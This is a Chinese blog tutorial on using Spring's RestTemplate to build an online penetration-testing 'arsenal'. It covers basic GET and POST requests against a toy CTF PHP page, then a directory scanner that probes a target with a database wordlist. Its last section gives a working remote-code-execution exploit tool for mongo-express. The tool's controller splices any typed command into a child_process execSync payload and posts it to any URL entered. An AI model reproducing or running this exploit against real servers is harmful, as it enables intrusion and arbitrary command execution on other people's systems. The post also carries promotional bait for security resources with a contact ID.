写点什么

基于 RestTemplate 的在线武器库

  • 2022 年 2 月 10 日
  • 本文字数:4580 字

    阅读完需:约 15 分钟

1.前言

最近在接触到分布式方面知识的时候,学习了 RestTemplate 的一些使用。RestTemplate 比较常见的就是用来进行一些 http 请求。本人在使用之后,在语法简洁的同时,感觉非常的方便。


于是乎在后面就想到了,通过 RestTemplate 来做成在线的"武器库",会不会更方便呢。因为 Springboot 开发本来就比较简单,而且在后期进行一些团队协作的时候,用在线的平台是不是相对于团队更方便?避免了因为环境不一致而造成的问题。

2.RestTemplate get 请求及传参

2.1 正常 get 请求不带参

首先来用一下正常不带参的请求,既然要使用 RestTemplate,那么肯定首先要 new 出来。之后使用 rest.exchange 进行请求。


exchange 参数说明如下:



参数 1,2 不做过多讲解,参数 3 的话,在初始化 HttpEntity 的时候,就可以传入一个自定义的 headers。所以提前通过 HttpHeaders headers = new HttpHeaders();进行设置 headers 并传入即可。


@RequestMapping("gettest")public @ResponseBody String param(){RestTemplate rest = new RestTemplate();HttpHeaders headers = new HttpHeaders();
headers.set("user-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");
String url = "http://127.0.0.1/t.php";ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<> (null,headers),String.class);
String body = res.getBody();return body;}
复制代码


【一>所有资源获取<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记


在上方的代码中,请求的是一个 php 文件,而该 php 文件非常简单,只是打印出 user_agent。



在打印出 user_agent 之后,ResponseEntity<String> res 这儿就接收到了回显信息,最后在通过 res.getBody();成功获取到页面的回显数据


[图片上传失败...(image-e68229-1644496865467)]

2.2 get 请求带参使用

了解完上面的无参 get 请求之后,接下来了解一下如何传参?


是不是感觉有点枯燥了?为此加了点 CTF 元素。代码如下,只有当用户传参符合第四行的 if 判断,才会进行输出正确的 flag



传参方式:


这种也是最为常见的一种,就是使用参数接收,是不是感觉和上方无参 get 方式的代码非常相似?下方形参 agent 和 value 就是在网页中的参数名(PS:学过 springboot 的小伙伴应该都知道)。之后将 agent 设置到 headers 里面,而 value 进行了拼接到**t.php?value= **后面进行当做参数值传入


public @ResponseBody String param(**String agent,String value**){        RestTemplate rest = new RestTemplate();        HttpHeaders headers = new HttpHeaders();        headers.set("user-agent",**agent**);        String url = "http://127.0.0.1/t.php?value="+**value**;        ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);        String body = res.getBody();        return body;    }
复制代码


最后进行测试一下,成功进行传参获取到了“flag”


2.3 编写在线目录扫描脚本

既然玩转了 get 请求之后,那就来做一个目录扫描的小功能吧。毕竟学以致用。


整体实现流程如下,采用 springboot,并整合 mybatis。这里没有写 Service 层,因为毕竟都是初步实现而已。


而最为显著的一个优点就是:站点目录都会存入到数据库中,这就在后期发展中避免了字典少,不够用的问题。因为团队成员都可以将自己的字典存入到该数据库中。



首先准备好数据库和一些"字典",测试阶段,本人自己就手动添加了几个。后续如果字典庞大,可自己写个小脚本导入到数据库即可。



数据库准备好之后,就可以进行整合 mybatis 了。这里 pom 文件需要加载 mybatis 和 mysql 的依赖。


目录结构如下:一个 Controller,一个 mapper 和 xml 配置文件,以及一个用来存储的类



application 主配置文件,主要用来写一些数据库配置


server.port=8081spring.datasource.username=rootspring.datasource.password=rootspring.datasource.url=jdbc:mysql://localhost:3306/tance?useSSL=false&useUnicode=true&characterEncoding=utf-8mybatis.mapper-locations=classpath:Mapper/*.xml
复制代码


Mapper 代码如下,记得要加上 @Mapper 注解


@Mapperpublic interface MuluMapper {    List<catalogue> selectAll();}
复制代码


Mapper.xml 配置,用来查询数据库中的 "字典"


<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE mapper        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"        "http://mybatis.org/dtd/mybatis-3-mapper.dtd"><mapper namespace="com.example.restclien.Dao.MuluMapper"><select id="selectAll" resultType="com.example.restclien.Dao.catalogue">        select * from catalogue    </select></mapper>
复制代码


既然配置好之后,那就开始实现重要功能点了!代码简单讲解一下:首先通过 @Autowired 把 mapper 自动注入。之后List<catalogue> list = muluMapper.selectAll();会到mapper.xml中执行 select 查询语句,并将其保存到 List 集合中。最后到 for 循环中进行循环遍历过程中,将 url 与获取的数据库中的 name 字段内容拼接保存到 temp 这个临时变量。


举个例子:

用户输入 url 为 http://127.0.0.1

name 字段第一个内容为:admin

那么最终 temp=http://127.0.0.1/admin


拼接完成之后,通过 exchange 访问,最终 res.getStatusCodeValue()获取响应码,为 200 的话,就判定该文件存在。(PS:这里判断的比较潦草,比如 403 等情况没有进行判断)


@RestControllerpublic class MapperController {    @Autowired    MuluMapper muluMapper;    @RequestMapping("/tance")    public String tance(String url) {        RestTemplate rest = new RestTemplate();        HttpHeaders headers = new HttpHeaders();        List<String> lists = new ArrayList<>();        headers.set("user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");        List<catalogue> list = muluMapper.selectAll();        if(!url.endsWith("/")){            url+="/";        }
for (catalogue tance : list) { String temp = url+tance.getName(); try{ ResponseEntity<String> res = rest.exchange(temp, HttpMethod.GET,new HttpEntity<>(null,headers),String.class); lists.add("目录存在:"+temp+" 响应状态码为:"+res.getStatusCodeValue()); }catch(Exception e){ e.printStackTrace(); }
} return lists.toString(); }}
复制代码


看一下最终成品吧,成功实现一款简易的在线 web 目录扫描



3.RestTemplate post 请求

3.1 post 请求玩法

有了上面的思路之后,post 也类似。那么为了防止大家感觉枯燥,继续来玩这道"CTF"


php 的代码没有太大变动,只是请求换成了 post



RestTemplate 代码如下:传参将 agent 设置到 headers 里面,而 value 添加到了 LinkedMultiValueMap 中,可以理解为这个 LinkedMultiValueMap 就是用来存储 post 要提交的数据,而最后这个稍作不同的是,用的 restTemplate.postForEntity()进行 post 提交数据即可,与 get 是非常类似的。


@RequestMapping("/Post01")    public @ResponseBody    String Post01(String agent,String value){        RestTemplate restTemplate = new RestTemplate();        HttpHeaders headers = new HttpHeaders();        headers.set("user-agent",agent);        String url = "http://127.0.0.1/t.php";        LinkedMultiValueMap params = new LinkedMultiValueMap();        params.add("value",value);        ResponseEntity<String> str = restTemplate.postForEntity(url,new HttpEntity<>(params,headers),String.class);        return str.getBody();    }
复制代码


最后传参即可,dong 的一下,“flag”也就出现了


[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yyoolmjz-1644501860640)(https://upload-images.jianshu.io/upload_images/26472780-61ab0ab7546d2863.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

3.2 mongo-express 远程代码执行漏洞脚本编写

靶场安装直接去 vulhub 下载即可。安装过程很简单,启动之后



漏洞利用过程更为简单 execSync 中输入要执行的命令即可。返回 Valid 表示执行成功了。



之后前往 docker 查看即可,发现成功创建 1.txt



接下来编写利用脚本


先准备一个比较丑的前端页面,存到 static 目录中,这是 Springboot 默认存放静态资源的地方。


<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>mongo-express 远程代码执行漏洞</title></head><body><form action="/exec" method="post">    请输入漏洞URL:<input type="text" name="url"/><br/>    请输入要执行的命令:<input type="text" name="command"/>    <input type="submit" value="提交"></form></body></html>
复制代码


Controller 编写思路,首先可以看到 action 提交到了 exec,所以 RequestMapping 写成 exec 即可,参数的话,一个 url 用来接收 url 地址的,一个 command 用来接收命令。



完整 Controller 如下,笔者带你进一步分析:在 paramMap.add 语句中,可以看到对输入进来 command 进行了拼接,假设笔者这里输入的为“ls”,从而构成了如下数据


document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("ls")


最后使用的 exchange 方法进行的 POST 提交,提交的 URL 为笔者传入的,而 command 传入并拼接进去之后,数据最终存到了 httpEntity 中,,而这里的参数就不做过多讲解,因为有了前面的基础,应该都能一看懂什么意思。


@RequestMapping("/exec")    public @ResponseBody String Post01(String url,String command){        RestTemplate restTemplate = new RestTemplate();        HttpHeaders headers = new HttpHeaders();        headers.set("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)");        MultiValueMap<String, String> paramMap = new LinkedMultiValueMap<String, String>();        paramMap.add("document", "this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync("+"\""+command+"\""+")");        HttpEntity<MultiValueMap<String, String>> httpEntity = new HttpEntity<MultiValueMap<String, String>>(paramMap,headers);        ResponseEntity<String> response = null;        try {            response = restTemplate.exchange(url,HttpMethod.POST,httpEntity, String.class);        }catch(NullPointerException e){            e.printStackTrace();        }        return response.getBody();    }
复制代码


最终测试过程,编写脚本利用成功




4.结尾

在进行内部团队协作的时候,后期效率确实是可以提升,同时也提升了自己的代码水平~。

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
基于RestTemplate的在线武器库